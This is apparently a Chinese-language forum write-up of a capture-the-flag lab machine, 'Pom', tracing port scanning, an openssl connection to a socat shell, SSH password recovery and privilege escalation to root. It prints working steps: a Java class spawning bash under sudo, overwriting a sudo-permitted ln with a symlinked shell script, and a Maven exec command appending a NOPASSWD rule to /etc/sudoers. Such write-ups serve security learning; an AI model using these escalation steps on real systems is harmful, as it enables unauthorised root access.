靶机来自 MazeSec(迷踪安全):MazeSec | About
靶机名:Pom
作者 :Sublarge
AI 总结
这篇复盘记录了一台 Linux 靶机从信息收集到 root 提权的完整过程。整体思路是:先通过 nmap / rustscan 发现异常端口 55555,再使用 openssl 连接 SSL 服务拿到初始 shell;随后进行本地信息收集,利用密钥文件解出 SSH 密码,稳定登录后通过 sudo -l 分析权限,依次借助 Java 执行、软链接覆盖和 Maven 插件命令执行完成横向移动与提权。
核心知识点包括:端口扫描与服务识别、异常端口利用、socat shell 原理、Linux 本地枚举、密钥文件解密、sudo 权限分析、Java 代码执行、软链接利用,以及 Maven 命令执行提权。
这是我通关的第一台靶机,今天来好好复盘一下,毕竟很多东西我完全不知道,都是ai的。
复盘就不说主机发现了,毕竟真实环境也不会在同网段吧。
靶机ip:10.216.75.62
信息收集
拿到靶机第一步肯定是信息收集扫端口,目前对我来说nmap扫端口的功能就够了,但是我习惯用rustscan调用nmap的脚本深度扫一下,然后用ai工具总结一下。(总觉得会发现多一点东西),还有就是以后会遇到有敲门等功能,rustscan的多线程是很有可能直接敲开的(但是好像必须是顺序敲门,这也是敲门策略的大忌,但是不排除就是有人这么设置吧,毕竟最大的漏洞就是人),ok不扯了。
nmap -p- 10.216.75.62 #-p-表示全端口扫描,也可以 -p 指定端口,例如:nmap {ip} -p 22
看到除了22端口外(22是ssh默认端口,所以靶机都会开的),还开了80、55555端口,这个55555就很不正常,应该有什么特殊的东西。
55555我们暂时没有任何信息,所以没办法入手,所以只能去web端口看一看。

是一个Spring Boot 框架的默认错误页面
也是什么都没有,那这时候一般就会去扫一遍目录了。

扫了目录也没有什么有用的东西,这个时候基本就线索断了。
那么我们只能寄希望于
55555端口了。但是我们根本不知道这是什么,所以回去进行进一步探测。我们用
rustscan扫一下,他是会自动调用nmap脚本深入探测的。
rustscan -a 10.216.75.62 -p 55555 --ulimit 5000 -- -A -sC -sV
输出很多,我们用ai总结一下。
这里顺便打个广告,自己写的小工具,调用llm-api自动总结上一条命令。终端命令-what,(随意开发的,也就vibe了一两天,有什么建议都可以提提issues,点点star)
效果大概这样:

我们直接按照ai给的建议来建立ssl连接。
openssl s_client -connect 10.216.75.62:55555 -quiet

直接就弹回来一个shell了。成功拿到user-flag
flag{user-f823e147843dd5b23f0ac9d243ae12fb}
复盘-shell来源
这里好奇为什么能直接获得一个shell呢。
我们ps看一下当前的进程(前面一些没用的就不看了):

我们看到这一行
2438 mav1234 0:00 socat -d -d OPENSSL-LISTEN:55555,cert=/home/mav1234/.local
有一个进程以mav1234的身份在用socat监听55555端口,应该是一个定时任务
cert=/home/mav1234/.local是用于验证的证书
所以我们用openssl向该端口发起连接请求,就会弹回来一个mav1234的shell了。
- 这里其实就是反弹shell的逆向过程,我们主动连接靶机,这就要求靶机上开放了特定端口有这个服务。而我们平时选择反弹shell就是因为,它不需要靶机开放什么服务,是靶机去主动连接我们
获得shell之后的信息收集
我们通常获得了基础的shell之后就要进一步的信息收集,因为在shell之外很多信息是收集不到或者不方便的。
最普遍的就是看看:
sudo -l:是否有一些特定的sudo权限ls -l /home:看看有哪些用户,判断是否会要横向,但是一般都是要的ls -al /opt:Optional Application Software (可选应用软件),除了apt等系统软件之外,很多自己安装的软件都会在这个目录下,比如手动安装的Google Chrome、TeamViewer、MongoDB、PostgreSQL、Discord、VS Code等,都可能出现在这里。靶机作者也经常把入口放在这里。- 还有就是
/etc/passwd/etc/shadow这些常规的文件了
其他就是得随机应变了,这些都没有思路的话再去深入的探索
我们这边先看一下家目录还一个文件。
sh-5.2$ cat journel
cat journel
I’ve encrypted my secret with my key. No one else can read it now. It’s safely hidden away:)
# 我已经用我的密钥加密了我的秘密。现在除了我谁也读不到了。它安全地藏起来了:)
有秘密,应该是提示,找一下。

找到了
meta文件和pem文件,
meta是元数据,pem是证书,公钥私钥等文件。
猜测应该是meta用pem解密会得到什么东西。
我们还是可以用openssl来解密。

得到
MvxPf8yCB8lxXk5A,猜测是ssh密码,我们尝试ssh登录稳定一下shell(因为这样ssl连接的shell很不稳定,用起来不方便)

登录成功。
再信息收集一下

看到有3个用户,并且我们有另外一个用户的
java权限。那很明显就是用java横向了。相当于任意java代码执行了。先写一个java的一句话木马,
-bash-5.2$ cat Exploit.java
public class Exploit {
public static void main(String[] args) throws Exception {
ProcessBuilder pb = new ProcessBuilder("/bin/bash");
pb.inheritIO();
pb.start().waitFor();
}
}
sudo -u qc2000 /usr/bin/java -cp /tmp Exploit

这里就横向成功了,但是这里要注意的是,不要放在自己家目录,因为
qc2000可能会没有权限访问,所以会报错找不到class文件。接着看一下sudo权限。
bash-5.2$ sudo -l
Matching Defaults entries for qc2000 on Pom:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for qc2000:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User qc2000 may run the following commands on Pom:
(terra536) NOPASSWD: /home/terra536/ln
有一个ln命令的权限,应该就是打软连接,首先想到的是连接ssh公钥之类的。
但是就算是有链接,不管是硬链接还是软连接,如果源文件没有权限,那链接文件也一样看不了。那就不是这么打的了。
这里有一个点,那就是这个ln命令/home/terra536/ln。这是家目录的ln,而不是/usr/bin下面的
我们是不是可以尝试修改这个命令呢。
- 写一个shell脚本
- 用
/home/terra536/ln打把shell脚本给链接到自己上面(用-f参数强制覆盖原来内容) - 然后我们运行
/home/terra536/ln就相当于在运行shell脚本了,而且是以terra536的身份运行的
开始
qc2000@Pom:/tmp$ chmod +x /tmp/hacker.sh
qc2000@Pom:/tmp$ cat hacker.sh
#!/bin/bash
/bin/bash -i
qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln -sf /tmp/hacker.sh /home/terra536/ln
qc2000@Pom:/tmp$ sudo -u terra536 /home/terra536/ln
Pom:/tmp$ id
uid=1002(terra536) gid=1002(terra536) groups=1002(terra536)
Pom:/tmp$ whoami
terra536
```
最后就是maven的插件命令执行提权,因为我们有maven的root权限,只需要用maven执行对应的命令就好,反弹shell或者直接给其他用户无密码执行所有命令的权限,写进/etc/sudoers(这里是一种演示,还有很多其他插件,大家可以去学习一下。并且演示这种也是需要一个最小pom.xml文件的)
```bash
bash-5.2# sudo /usr/bin/mvn exec:exec -Dexec.executable=/bin/sh -Dexec.args="-c 'echo \"terra536 ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers'"
[INFO] Scanning for projects...
[INFO]
[INFO] ---------------------------< hacker:exploit >---------------------------
[INFO] Building exploit 1.0
[INFO] from pom.xml
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- exec:3.6.3:exec (default-cli) @ exploit ---
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 2.855 s
[INFO] Finished at: 2026-05-01T22:56:54+08:00
[INFO] ------------------------------------------------------------------------
bash-5.2# sudo su -
root@Pom:~# ls /root
root.txt
root@Pom:~# cat root.txt
flag{root-4a29b2f65b40052a804c0cc4afb906bd}
2 个帖子 - 2 位参与者